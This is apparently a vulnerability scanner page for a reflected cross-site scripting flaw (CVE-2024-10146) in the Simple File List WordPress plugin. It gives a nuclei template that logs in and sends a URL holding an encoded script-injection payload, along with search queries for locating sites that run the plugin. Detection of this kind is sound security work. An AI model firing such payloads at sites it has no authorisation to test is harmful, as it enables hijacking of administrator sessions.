Simple File List < 6.1.13 - Reflected Cross-Site Scripting

mediumseverity

5.4CVSS score

0.6%likelihood of exploitation, next 30 days

50%of all CVEs are less likely

Readycheck to confirm it

Simple File List WordPress plugin \u003C 6.1.13 contains a reflected cross-site scripting caused by unsanitized URL output in an attribute, letting attackers execute malicious scripts in admin browsers, exploit requires victim to be an admin.

Impact

Attackers can execute malicious scripts in admin browsers, potentially leading to session hijacking or privilege escalation.

Fix

Update to version 6.1.13 or later.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=ee-simple-file-list&tab=settings&subtab=uploader_settings&nfqis%22%3e%3cscript%3eeval(atob(%22YWxlcnQoJ2RvY3VtZW50LmRvbWFpbicp%22)…
Positive when: status_code == 200 and contains(body, "<script>eval(atob(\"YWxlcnQoJ2RvY3VtZW50LmRvbWFpbicp\"))</script>") and contains(body, 'Simple File List')

Run it with nuclei: nuclei -id CVE-2024-10146 -u <target>

The full check

id: CVE-2024-10146

info:
  name: Simple File List < 6.1.13 - Reflected Cross-Site Scripting
  author: 0x_AKoko
  severity: medium
  description: |
    Simple File List WordPress plugin \u003C 6.1.13 contains a reflected cross-site scripting caused by unsanitized URL output in an attribute, letting attackers execute malicious scripts in admin browsers, exploit requires victim to be an admin.
  impact: |
    Attackers can execute malicious scripts in admin browsers, potentially leading to session hijacking or privilege escalation.
  remediation: |
    Update to version 6.1.13 or later.
  reference:
    - https://wpscan.com/vulnerability/9ee74a0f-83ff-4c15-a114-f8f6baab8bf5/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-10146
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2024-10146
    cwe-id: CWE-79
    epss-score: 0.0062
    epss-percentile: 0.50073
    cpe: cpe:2.3:a:simplefilelist:simple_file_list:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: simplefilelist
    product: simple_file_list
    framework: wordpress
    fofa-query: "wp-content/plugins/simple-file-list/"
    google-query: inurl:"/wp-content/plugins/simple-file-list/"
  tags: cve,cve2024,wpscan,wordpress,wp-plugin,wp,simple-file-list,xss,authenticated,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=ee-simple-file-list&tab=settings&subtab=uploader_settings&nfqis%22%3e%3cscript%3eeval(atob(%22YWxlcnQoJ2RvY3VtZW50LmRvbWFpbicp%22))%3c%2fscript%3eepkajs8ophd=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "<script>eval(atob(\"YWxlcnQoJ2RvY3VtZW50LmRvbWFpbicp\"))</script>")
          - contains(body, 'Simple File List')
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from